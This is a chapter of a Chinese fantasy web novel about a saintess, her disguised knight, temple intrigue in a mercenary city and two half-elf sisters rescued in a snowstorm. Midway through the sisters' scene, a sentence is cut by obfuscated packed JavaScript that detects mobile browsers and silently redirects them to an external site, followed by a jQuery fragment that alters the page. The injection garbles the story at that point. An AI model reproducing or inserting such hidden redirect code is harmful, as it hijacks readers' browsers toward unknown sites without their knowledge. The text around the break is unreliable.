好半天,试衣间的门重新打开,安洁面上神情自若,分裂开的裙摆让她只能小步小步地挪动。
礼裙领口微低,布料轻薄贴合身形,导致她有些害羞,环抱手臂的动作显得局促。
“殿下!真的很漂亮,居然只是半成品,等到真正完成,殿下肯定会成为舞会最耀眼的女性。”梅朵丽夸赞。
裁缝绕了一圈仔细检查以免遗漏:“尺寸没有问题,设计还可以改进改进。”
“裙摆可以加上……”
她边说身旁的下手就用笔记下,直到没有问题。
裁缝眼睛一眯凑近突然道:“骑士大人可以将殿下的头发拢起来嘛,不要披在脖子上。”
“我可以自己来。”安洁一慌朝后伸出的手被里希德拦下。
“殿下不要动,我想看看肩颈线条。”裁缝道。
安洁放下手,隐藏在发丝里不细看无法察觉的耳尖微红。
里希德双手动作轻柔地拢住散在背后的银发提起,让它们不再披散在少女的脊背。
没了遮挡礼服特殊的样式暴露出一大片雪白细腻的肌肤。
她真的很适合白色,他不由得承认她以前说过的话。
待裁缝观察好感受到头发被放下安洁刚松口气,脖子被冰冷的手指点了点。
“咦!”安洁一个激灵挺起身子。
身后的骑士郑重道:“我们殿下成为圣女后鲜少打扮自己,希望各位能奉上匹配殿下身份的饰品。”
随后又托起她的一条手臂:“蒂斯里兰卡的秋末风凉,还望添上披风。”
“啊……当然,我们会准备妥当。”裁缝回过神忙道。
古怪的姿势像是刻意的搂抱,对上对方冷峻的面容透着股强烈的警告和占有,圣女和自己的骑士关系有点亲密呢。
但这就和她无关,她只需要做好自己的工作,比如:给原本计划的礼裙添上些布料。
“那位小侍女跟我来,我量量你的尺寸,裙子如果有什么喜欢的样式尽管和我说。”裁缝向梅朵丽招招手。
“那我过去了?殿下。”梅朵丽向安洁眨了眨眼。
“嗯。”安洁看着她跟上去。
裁缝让梅朵丽张开双臂站直,拿量尺测量记下数据,两人对话间笑声都传了过来,与这边两人的安静形成对比。
果然梅朵丽是个讨喜的孩子,可就这样一个孩子却经历了那些不幸的事。
为什么蒂斯里兰卡那么排外,她有时候真的很想问问安格罗西是不是他的意思。
安洁想着,不经意地偏过头正巧对上里希德的视线,像被烫到率先抽离,手梳理着长发将它们全拨到一侧肩头。
她觉得自己可能是疯得不太正常了,不然怎么会重新望向对方,好似很期待听见他的赞美。
安洁面上薄红,长长的睫毛抖了抖,手搭在胸前,主体为白色的礼裙,显得她真的如神殿栽种的白色玫瑰一般柔美动人。
“真的适合吗?”她的声音嗡嗡的很小,却清晰传出。
里希德惊讶于她突然的询问,与她泛着水光的银眸对上一眼便将目光投在前方,像是将话语在喉咙里压制,片刻才闷声回应:“嗯。”
远处的卡斯特,自从祝由节开始城门城内公会粘贴的黑色悬赏,主人公带着半面面具的暗黑刺客到现在还没有现过身。
原本热闹能看见不同种族的佣兵之城现在街道上只有稀疏的人族佣兵和原居民。
距离那场强制收监兽人和混血种的风波仅仅过了一个月,这座城市发生了天翻地覆的变化。
大肆修建与神殿、光明女神相关的建筑,神职人员正站在最大的广场上演讲说动民众信仰他们的神。
城中心最高的住宅正在重修,按照他们新主人的喜好。
“瑟金斯,你做得很好。”城主的书房内闯入了神殿永久高挂的太阳。
瑟金斯也就是瑟金单膝跪地恭敬行礼道:“迎接您的到来。”
安格罗西的嘴角带着不知意味的笑容:“看来你比你的父亲更具有当城主的天赋。”
“感恩您的赞赏,那个糟老头子实在没有选继承人的眼光。”
“毕竟贵族最强调血脉的尊贵,但我一直认为能者居之才是最正确的生存法则,弱者没有资格。”安格罗西坐到椅子上。
他看着面前这名已经从粗鄙暴力的佣兵转变成优雅贵族的青年,想起手下的汇报。
“告诉你一个好消息,你以前佣兵团的伙伴现在可是成为了圣女的侍从,好像是叫作梅朵丽,看不出我妹妹还真是喜欢残缺的半兽人。”他道。
“服侍圣女殿下是她的荣幸。”瑟金斯语气平淡,没有因为昔日同伴的存活而感到高兴。
“卿还真是冷漠。”安格罗西的眼里透着满意,“还要感谢你之前的传信,不然我也无法那么快带回圣女。”
“您言重了,圣女是蒂斯里兰卡的荣光,在下自然要出力。”瑟金斯说着请罪道,“在下无能,一直没有发现那人神弃者的身份,还请殿主您原谅。”
安格罗西眯了眯眼亲切谅解:“不是卿的过错,神弃者是神殿的秘辛,你不知道很正常。”
他站起身走到粘贴着卡斯特城地图的墙边,点了下被红笔重重圈住的地区其中一处:“我现在更想知道卿的仪式准备得如何了?”
瑟金斯站起身陈述:“已安排妥当选出神之血拥有者,待神官们阵法刻画完毕便可开始仪式。”
“瑟金斯你向来很让我放心,这是给你的奖励。”安格罗西抛给他一瓶红色的药水人影便消失在房间内。
瑟金斯握住拉开办公桌最上面一层的抽屉扔了进去。
在不清楚这个东西的副作用之前他不会喝下去。
细细的阳光破开云层洒在卡斯特的上空,平静的日子还能维持多久呢?
地下室那个魔物一般扭曲怪异的黑色生物,是什么?神殿主要拿来做什么?
他都不得而知,只知道几天后那些被选中的兽人和精灵混血种的哀鸣会断送在长夜之后黎明之前。
“该死的走狗!”给其余兽人殿后引开敌人的佩妮丝被身后追兵的箭射中小腿后痛骂。
手上用力扯出连着皮肉血色的箭,短暂吟唱使出几个爆破魔法扔到身后。
“姐姐!”佩西的植物魔法捆住前排追兵的脚拖延他们的进程,正要去到她身边,自己却被魔法球击中身体重重地倒飞出去。
她们已经不知道是第几天了,这样狼狈的逃跑。
自从带着兽人们撤离卡斯特被发现后,这些家伙就像狗一样紧追不舍,她们姐妹的体力、精神、魔力都要见底,现在只是在强撑。
被封闭了的乌拉森林
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681299|168853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是最好的庇护之地,但她们两人是贵族购买精灵奴隶强迫她生下的混血种,她们这样恶心的血脉对森林来说是玷污。
她们无法进入躲避,只能不停地奔向能容下她们身份的兽人国度。
明明只要翻过这座山脉,她们闯过了风雪却要在见到温暖阳光的前一刻倒下,她们不甘心。
决不能死在敌人手中也不会给他们带走她们的机会。
佩妮丝扶起佩妮,姐妹对视着眼里只有对方,面上坚定。
她们拔出腿上绑着的匕首,割开朝她们伸出手的士兵脖子,双手拿着匕首往自己的心脏位置刺去。
“不必如此。”
她们的动作被控制住,穿着白色斗篷的男性出现在所有人视线中,要不是他主动现身,这样的伪装在大雪中根本无法发现。
来人抬起手,烈焰瞬间喷涌,空间灼热得扭曲,黑红交织的焰色裹挟着硫磺与腐朽的气息。
那些追击者甚至来不及惨叫,血肉便如干枯的树枝蜷缩炭化,在雪山的强风下化作飘散的磷灰。
而那些掉落在雪地上的火焰还在燃烧着,没有燃料在这样恶劣的风雪中也能不熄灭,永恒的地狱之火,龙的吐息。
“你为什么要救我们?”佩妮丝护在佩西身前戒备。
“两位的熟人说过若你们能活到这便让我带你们走出去。”里维说着。
这么冰冷的环境之下他身上没有附着一丝凝冰和细雪,而佩妮丝和佩西身上早已存在不同程度的冻伤,头发和睫毛都有冰霜。
“熟人?”佩妮丝咬牙切齿,“我现在最恨的就是熟人!”
瑟金那个狗东西居然是城主的私生子,居然敢这么做,欺骗背叛她们所有人。
佩妮丝眼里翻涌着怒火,里维本来也不打算解释熟人是谁,见她如此,现在更是抹消了这个念头。
也不知道那人用他的身份都做了什么事。
佩西拉了拉她的手,对着她摇摇头遂看向里维:“我们需要付出什么?”
里维没想到她会怎么问,默了默道:“没有代价,但如果你们无地可去也不介意的话,有一个任务需要你们完成。”
“我们答应。”佩妮丝站起身睨了他一眼以吩咐别扭的口气道,“我们都这么狼狈了,身为男子是不是该体恤一下女性,替我们治疗应对一下风雪。”
话音刚落,她们便感到自己被热气围绕着,冻伤的疼痛在缓解。
“多谢。”佩西道谢,对方示意她们跟上提身走入风雪。
久违地睡了几日好觉,安洁整个人像一株吸饱晨露的植物舒展开来,眼底浮着清透的光,连发梢都带着蓬松的生气,呼吸间嘴角惬意的上扬,她转头看向门边站着的人。
“里维卿这几日辛苦了,夜晚守在这不会睡眠不足吗?”
她是真的有些好奇,白天她只要外出他都一直守在身旁,夜晚也是趁她入睡才消失几小时,不知道去干什么。
“殿下不必担心。”里希德回道。
他终于穿上了神殿白金色留有银边的正式骑士服,宽大华贵的披风上印着一轮银月。
安洁只见过他穿黑色,现在也不得不承认他很适合这种装扮,虽然顶着别人的脸,但身姿凛然宛若真正的骑士一般正气。
“终于到庆典这一天了。”安洁看向窗外正好的天色。